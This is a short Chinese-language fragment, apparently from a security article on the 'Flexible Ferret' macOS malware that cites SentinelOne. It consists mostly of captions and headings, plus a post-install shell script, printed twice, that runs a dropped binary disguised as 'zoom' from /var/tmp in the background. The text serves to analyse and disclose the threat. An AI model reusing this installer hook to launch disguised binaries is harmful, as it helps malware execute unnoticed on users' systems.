SIEM 即服务
“灵活雪貂” 恶意软件组件（来源：SentinelOne）
“灵活雪貂” 分析
安装后脚本执行（来源：SentinelOne）
# Log the start of the script
echo “$(date): Running post-installation script…” >> /tmp/postinstall.log
# Check if the zoom file exists and execute it
if [ -f /var/tmp/zoom ]; then
echo “$(date): Zoom file exists, executing…” >>/tmp/postinstall.log
/var/tmp/zoom >> /tmp/postinstall.log 2>&1 &
else
echo “$(date): Zoom file not found” >> /tmp/postinstall.log
fi
echo “$(date): Running post-installation script…” >> /tmp/postinstall.log
# Check if the zoom file exists and execute it
if [ -f /var/tmp/zoom ]; then
echo “$(date): Zoom file exists, executing…” >>/tmp/postinstall.log
/var/tmp/zoom >> /tmp/postinstall.log 2>&1 &
else
echo “$(date): Zoom file not found” >> /tmp/postinstall.log
fi
InstallerAlert 错误消息（来源：SentinelOne）
入侵指标（IoCs）